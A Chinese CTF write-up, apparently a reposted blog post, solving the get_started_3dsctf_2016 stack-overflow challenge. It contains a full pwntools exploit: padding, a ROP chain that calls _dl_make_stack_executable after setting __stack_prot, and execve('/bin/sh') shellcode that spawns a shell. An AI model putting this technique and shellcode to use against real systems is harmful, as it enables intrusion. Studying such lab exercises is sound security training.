本文主要是介绍【CTF】get_started_3dsctf_2016,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
解题思路:
1 先反编译,第一印象代码比较多、杂,找main函数找了半天才找到。
undefined4 main(void)
{char local_38 [56];printf("Qual a palavrinha magica? ");gets(local_38);return 0;
}
2 看main函数,第一感觉是典型的栈溢出。然后就是ELF的一些保护。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
同样,第一感觉,NX enabled,栈不可执行,shellcode方法被PASS掉,那就需要找系统函数ROP。
3 翻了代码,第一,没有找到程序中可以利用的函数;第二,程序没有加载libc(看了下反编译的代码,printf和gets都是重写的),利用libc的方式也不行。
4 走到死胡同了,看来得回头考虑shellcode的方式。因为之前没有接触过类似的题目,所以有点漫无目的,在代码中搜system、execve、exec等关键字,嗨,真被搜出来一个线索:
_dl_make_stack_executable
execute_stack_op
看字面意思都是栈可执行相关的函数,不熟悉,一搜索就搜索出类似题目的writeup,没办法,看一眼吧。链接在文末。主要思想:
int __regparm3 _dl_make_stack_executable(uint *param_1){int iVar1;int in_GS_OFFSET;if (*param_1 == __libc_stack_end) {iVar1 = mprotect((void *)(-_dl_pagesize & *param_1),_dl_pagesize,__stack_prot);if (iVar1 == 0) {*param_1 = 0;_dl_stack_flags = _dl_stack_flags | 1;}else {iVar1 = *(int *)(&DAT_ffffffe8 + in_GS_OFFSET);}return iVar1;}return 1;
}
1)进入__libc_stack_end那个判断分支
2)__stack_prot需要赋值为7,打开栈可执行权限。
5 剩下就是常规操作, 找溢出点,工具生成shellcode,找gadget。
from pwn import *
from pwnlib.shellcraft import i386
import time
elf = ELF('./get_started_3dsctf_2016')
sh = process('get_started_3dsctf_2016')
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
nops = b"\x90" * (56)
rop = nops
rop += p32(0x0806fc30) # pop edx ; ret
rop += p32(0x080eafec) # __stack_prot
rop += p32(0x01020304) # 下面两个值无意义,没有找到合适的gadget
rop += p32(0x05060708)
rop += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x07) # 7 (PROT_EXEC|PROT_READ|PROT_WRITE|PROT_NONE)
rop += p32(0x080557ab) # mov dword ptr [edx], eax ; retrop += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x080eafc8) # __libc_stack_end (param1通过eax传入)
rop += p32(0x0809aef0) # _dl_make_stack_executable
rop += p32(0x08093d41) # push esp; ret (需要,把shellcode放入esp执行?)
rop += shellcode
print(rop)
with open("payload.txt", "wb") as f:f.write(rop)
sh.sendline(rop)
sh.interactive()
总结:
1)找gadget费了些时间,原因是工具不熟,不能很快速的找到自己想要的gadget。(之前的题目好像很容易找~~~,没有动用工具专门去找过)
2)中间找到某个gadget,但是因为地址有0x0a,也就是\n换行符的ASCII码,导致输入被截断,排查了好一会,最后只能换另外一个gadget。
3) gdb还是不够熟,调试费了不少时间。
附录:
- The Tale of the Really SAD binary
- [ROP] Ret to Stack
这篇关于【CTF】get_started_3dsctf_2016的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!